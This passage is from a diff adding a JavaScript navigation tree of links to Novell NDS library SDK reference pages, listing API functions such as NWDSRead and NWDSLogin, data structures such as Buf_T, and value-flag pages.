+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInitBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSInspectEntry ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2091.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSJoinPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2099.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListAttrsEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainableClasses ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListContainers ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSListPartitionsExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogin ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLoginAsServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSLogout ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapIDToName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2196.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMapNameToID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2205.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2214.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2223.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyRDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2241.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMutateObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a37nkf6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenConnToNDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenMonitoredConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenStream ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2277.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionReceiveAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2285.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionSendAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2303.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrNameAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2321.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChange ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChangeAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2357.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutSyntaxName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2373.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2389.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2407.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadReferences ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2451.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReloadDS ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2459.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAllTypes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2467.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2475.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2493.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemovePartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2519.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRepairTimeStamps ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReplaceAttrNameAbbrev ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSResolveName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2544.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRestoreObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2553.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReturnBlockOfAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2562.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanConnsForTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2573.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanForAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2591.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2609.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2615.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetMonitoredConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSplitPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2633.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncReplicaToServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2651.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncSchema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSUnlockConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2669.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSVerifyObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSWhoAmI ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2695.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetFileServerUTCTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNumConnections ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2712.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNWNetVersion ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetPreferredConnName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2727.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSAuthenticated ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2736.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2743.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetInit ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetTerm ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2759.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2767.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetPreferredDSTree ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Asn1ID_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2785.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attr_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2790.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back_Link_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2795.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bit_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buf_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2805.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CI_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2815.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2820.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Fax_Number_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2826.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Cursor_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2831.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Node_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2841.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSOSVersion_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSStatsInfo_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2850.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2855.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDS_TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_ACL_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2865.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2875.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2880.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2885.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica_Pointer_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2895.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed_Name_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown_Attr_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2911.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Constraint Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hudjk3k4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Value Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6anqw6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Operation Types and Related Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h8bn0lfm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
